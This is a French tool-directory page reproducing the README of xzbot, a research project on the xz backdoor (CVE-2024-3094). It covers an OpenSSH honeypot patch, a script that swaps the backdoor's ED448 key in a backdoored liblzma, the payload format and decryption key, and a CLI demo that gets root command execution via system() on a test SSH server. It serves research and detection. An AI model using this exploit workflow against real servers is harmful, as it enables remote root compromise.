Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
xzbot — notes, honeypot, et démo d'exploit pour la backdoor xz (CVE-2024-3094) | Kitploit
Outils/GitHubGitHub/amlweems/xzbot
Analyse des VulnérabilitésExploitationCryptographieTests d'IntrusionAnalyse de BinairesDéveloppement de Charges Utiles
GitHubamlweems/xzbot

xzbot

notes, honeypot, et démo d'exploit pour la backdoor xz (CVE-2024-3094)

Voir le dépôt
3.6k23517il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

xzbot

Exploration de la backdoor xz porte dérobée (CVE-2024-3094). Comprend les éléments suivants :

  • honeypot : serveur vulnérable factice pour détecter les tentatives d'exploitation
  • ed448 patch : patcher liblzma.so pour utiliser notre propre clé publique ED448
  • backdoor format : format de la charge utile de la backdoor
  • backdoor demo : CLI pour déclencher l'exécution de code à distance (RCE) en supposant la connaissance de la clé privée ED448

xzbot demo

honeypot

Voir openssh.patch pour un patch simple d'OpenSSH qui enregistre toute tentative de connexion avec une clé publique N correspondant au format de la backdoor.

$ git clone https://github.com/openssh/openssh-portable
$ patch -p1 < ~/path/to/openssh.patch
$ autoreconf
$ ./configure
$ make

Toute tentative de connexion apparaîtra comme suit dans les logs de sshd :

$ journalctl -u ssh-xzbot --since='1d ago' | grep xzbot:
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: magic 1 [preauth]
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: 010000000100000000000000000000005725B22ED2...

ed448 patch

La backdoor utilise une clé publique ED448 codée en dur pour la validation de la signature et le déchiffrement de la charge utile. Si nous remplaçons cette clé par la nôtre, nous pouvons déclencher la backdoor.

La clé ED448 de l'attaquant est :

0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00

Nous remplacerons cette clé par la nôtre (générée avec seed=0) :

5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00

Pour commencer, téléchargez un objet partagé liblzma backdooré, par exemple depuis https://snapshot.debian.org/package/xz-utils/5.6.1-1. Ensuite, exécutez le script de patch. Voir assets/ pour des exemples.

$ pip install pwntools
$ shasum -a 256 liblzma.so.5.6.1
605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4  liblzma.so.5.6.1
$ python3 patch.py liblzma.so.5.6.1
Patching func at offset: 0x24470
Generated patched so: liblzma.so.5.6.1.patch

Exécutez ensuite sshd en utilisant cet objet partagé liblzma.so.5.6.1.patch modifié.

backdoor format

La backdoor peut être déclenchée en se connectant avec un certificat SSH contenant une charge utile dans la valeur N de la clé de signature CA. Cette charge utile doit être chiffrée et signée avec la clé ED448 de l'attaquant.

La structure a le format suivant :

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   a (32 bit)  |   b (32 bit)  |           c (64 bit)          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
+                     ciphertext (240 bytes)                    +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Un type de requête est dérivé des trois valeurs ci-dessus (a * b + c). Si cette valeur est supérieure à 3, la backdoor ignore le traitement.

  • Type 1 : inconnu, attend zéro octets
  • Type 2 : exécute une charge utile terminée par un null avec system()
  • Type 3 : inconnu, attend 48 octets (signés)

Le texte chiffré est chiffré avec chacha20 en utilisant les 32 premiers octets de la clé publique ED448 comme clé symétrique. Par conséquent, nous pouvons déchiffrer toute tentative d'exploitation en utilisant la clé suivante :

0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48

Le texte chiffré a le format suivant :

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    signature (114 bytes)                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| x (1 bit) |            unused ? (14 bit)          | y (1 bit) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        unknown (8 bit)        |         length (8 bit)        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        unknown (8 bit)        |         command \x00          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Définir x ou y mène à des chemins de code légèrement différents.

La signature est une signature ED448 RFC-8032 calculée sur les valeurs suivantes :

  • La valeur magique 32 bits (par exemple 02 00 00 00)
  • Les 5 octets des champs avant la commande
  • [optionnel] length octets de la commande
  • Les 32 premiers octets du hachage sha256 de la clé d'hôte du serveur

backdoor demo

$ go install github.com/amlweems/xzbot@latest
$ xzbot -h
Usage of xzbot:
  -addr string
        ssh server address (default "127.0.0.1:2222")
  -seed string
        ed448 seed, must match xz backdoor key (default "0")
  -cmd string
        command to run via system() (default "id > /tmp/.xz")

Ce qui suit se connectera à un serveur SSH vulnérable à 127.0.0.1:2222 et exécutera la commande id > /tmp/.xz :

$ xzbot -addr 127.0.0.1:2222 -cmd 'id > /tmp/.xz'
00000000  00 00 00 1c 73 73 68 2d  72 73 61 2d 63 65 72 74  |....ssh-rsa-cert|
00000010  2d 76 30 31 40 6f 70 65  6e 73 73 68 2e 63 6f 6d  |[email protected]|
00000020  00 00 00 00 00 00 00 03  01 00 01 00 00 01 01 01  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...
00000150  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000160  00 00 01 14 00 00 00 07  73 73 68 2d 72 73 61 00  |........ssh-rsa.|
00000170  00 00 01 01 00 00 01 00  02 00 00 00 01 00 00 00  |................|
00000180  00 00 00 00 00 00 00 00  54 97 bc c5 ef 93 e4 24  |........T......$|
00000190  cf b1 57 57 59 85 52 fd  41 2a a5 54 9e aa c6 52  |..WWY.R.A*.T...R|
000001a0  58 64 a4 17 45 8a af 76  ce d2 e3 0b 7c bb 1f 29  |Xd..E..v....|..)|
000001b0  2b f0 38 45 3f 5e 00 f1  b0 00 15 84 e7 bc 10 1f  |+.8E?^..........|
000001c0  0f 5f 50 36 07 9f bd 07  05 77 5c 74 84 69 c9 7a  |._P6.....w\t.i.z|
000001d0  28 6b e8 16 aa 99 34 bf  9d c4 c4 5c b8 fd 4a 3c  |(k....4....\..J<|
000001e0  d8 2b 39 32 06 d9 4f a4  3a 00 d0 0b 0f a2 21 c0  |.+92..O.:.....!.|
000001f0  86 c3 c9 e2 e6 17 b4 a6  54 ba c3 a1 4c 40 91 be  |........T...L@..|
00000200  91 9a 2b f8 0b 18 61 1c  5e e1 e0 5b e8 00 00 00  |..+...a.^..[....|
00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...
00000260  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000270  00 00 00 00 00 00 00 00  00 00 00 10 00 00 00 07  |................|
00000280  73 73 68 2d 72 73 61 00  00 00 01 00              |ssh-rsa.....|
2024/03/30 00:00:00 ssh: handshake failed: EOF

Sur le serveur vulnérable, nous pouvons définir un point d'arrêt pour l'appel à system() et observer l'exécution de la commande :

$ bpftrace -e 'watchpoint:0x07FFFF74B1995:8:x {
    printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))))
}'
Attaching 1 probe...
sshd (1234): id > /tmp/.xz

$ cat /tmp/.xz
uid=0(root) gid=0(root) groups=0(root)
Télécharger l’outil